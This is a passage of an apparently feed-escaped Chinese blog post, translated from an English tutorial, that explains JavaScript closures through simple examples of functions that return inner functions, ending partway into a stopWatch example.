      <description>&lt;p&gt;之前读js的时候总是感觉不清楚，近日决定重新攻读，看到这篇文章之后，我明白了某大神说的那句话，如果你不能向一个6岁的小朋友讲明白。那么这件事情你一定不明白。还有就是如果你必须理解一个闭包才会使用它，那么这个闭包设计本身就是失败的。情赏析本文。相当精彩。&lt;/p&gt;
&lt;p&gt;JavaScript中函数的重要性毋庸置疑。在理解了JavaScript中的函数之后，非常重要的地点就是理解我们怎样使用函数来创建闭包。一直以来，闭包都是JavaScript新手学习时的一个难点所在，它位于JavaScript函数与变量作用域交叉的一个灰色地带：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/04/1389597690904-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.20.17.png&#34;&gt;&lt;img alt=&#34;1389597690904-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.20.17&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a6b5c488378f9e3aa825f07d0a699f5ba6c72afd.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;本文将尽可能简单的方法讲述关于JavaScript闭包的那些事情，使用的代码也非常的简单。如果一开始就讲述闭包的概念，只会使得你更加的困惑。所以我们就从一个我们熟悉的领域开始，慢慢的向闭包的邪恶领域前进，看看我们在那里能发现什么。&lt;/p&gt;
&lt;p&gt;下面开始我们的冒险之旅吧！&lt;/p&gt;
&lt;h1 id=&#34;函数中的函数&#34;&gt;函数中的函数&lt;/h1&gt;
&lt;p&gt;我们要做的第一件事情是理解当你在函数中创建了函数并且从函数内部返回一个函数时究竟发生了什么。首先我们来快速的回顾一下函数。&lt;/p&gt;
&lt;p&gt;看下面的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;calculateRectangleArea&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;length&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;,&amp;lt;/span&amp;gt;width&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;return&amp;lt;/span&amp;gt; length&amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;*&amp;lt;/span&amp;gt;width&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;   

&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; roomArea &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;calculateRectangleArea&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token number&amp;quot; style=&amp;quot;color: #990055;&amp;quot;&amp;gt;10&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;,&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token number&amp;quot; style=&amp;quot;color: #990055;&amp;quot;&amp;gt;10&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;  
&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;roomArea&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

calculateRectangleArea函数接收两个参数并且返回这两个参数的乘积。在这个例子中没我们将返回的数赋值给了变量roomArea。

当代码运行之后，roomArea变量包含了10乘10的结果，也就是100：

[![1389597709290-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.20.27](/images/5465c1b36f5c205fe7fbf69cde8ce0a292c44992.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597709290-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.20.27.png)

正如你所知道的，一个函数可以返回任何东西。在这个例子中，我们返回了一个数。你可以返回一些文本（也就是字符串），undefined，一个自定义对象等等。只要调用函数的代码知道怎么处理返回的值，你可以做任何你想做的事情。你甚至可以返回另一个函数。我们下面就来看一个这样的例子：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;youSayGoodBye&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&#39;Good Bye!&#39;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
        &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&#39;Hello!&#39;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;return&amp;lt;/span&amp;gt; andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt; 
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;
`&amp;lt;/pre&amp;gt;

你可以在函数内部包括函数。在这个例子中，我们的youSayGoodBye函数包含了一个alert语句以及另一个叫做andTSayHello的函数：

[![1389597723104-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.25.09](/images/7dec0726d4e268a59b287fce13db84f2bda5c50e.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597723104-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.25.09.png)

有趣的地方是当youSayGoodBye函数调用时返回了什么东西。它返回了andISayHello函数：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;youSayGoodBye&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&#39;Good Bye!&#39;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
        &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&#39;Hello!&#39;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;return&amp;lt;/span&amp;gt; andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

下面我们调用这个函数，并且让一个变量指向这个函数的调用结果：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; something &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;youSayGoodBye&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

在这行代码运行的时候，youSayGoodBye函数中的所有代码同时也在运行。这意味着，你可以看到一个对话框（由于alert）说Good Bye！：

[![1389597744293-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.29.06](/images/1826cf206cce86d88a6a324d2624ae277929390d.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597744293-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.29.06.png)

当运行结束之后，andISayHello函数将会被创建并且返回。在这个时候，变量something只关注一个东西，这个东西就是andISayHello函数：

[![1389597757035-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.40.17](/images/907b52e917c6617d2d66519f443e640b61d10472.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597757035-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.40.17.png)

由于something现在指向一个函数，因此你可以通过括号标示符调用它：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; something &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;youSayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;something&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

当你这么做的时候，返回的内部函数（也就是andISayHello）将会执行。和前面一样，你将会看到一个对话框，但是对话框这次说的是Hello！– 这是由于内部的alert决定的：

[![1389597771981-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.42.50](/images/d0674b8248c110e71cbc5c6878af799538446963.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597771981-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%881.42.50.png)

上面提到的所有东西都很直观。唯一你可能觉得比较新的地方是一旦一个函数返回一个值，这个函数就不再存在了。唯一存在的东西是返回值。

现在我们已经接近闭包的邪恶领域了。在下一部分中，我们将扩展前面提到的代码来看看一个变形的例子。

# 内部函数不是自包含函数的情况

在前面的例子中，你的andISayHello函数是一个自包含函数并且不依赖于外部函数的任何变量或状态：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;youSayGoodBye&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&amp;quot;Good Bye!&amp;quot;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
        &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token string&amp;quot; style=&amp;quot;color: #669900;&amp;quot;&amp;gt;&amp;quot;Hello!&amp;quot;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;return&amp;lt;/span&amp;gt; andISayHello&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

在现实的很多场景中，几乎没有这样的自包含函数的例子。你经常会发现需要在内部函数和外部函数之间共享变量和数据。为了强调这一点，我们看看下面的例子：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;stopWatch&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; startTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;getDelay&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
        &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; elapsedTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;-&amp;lt;/span&amp;gt; startTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
        &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;elapsedTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;

    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;return&amp;lt;/span&amp;gt; getDelay&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

这个例子展示了一个简单地测量消耗的时间的方式。在stopWatch函数中，你有一个startTime变量来被赋值为Date.now()：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;` &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; startTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   
`&amp;lt;/pre&amp;gt;

你也有一个叫做getDelay的内部函数：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;function&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;getDelay&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
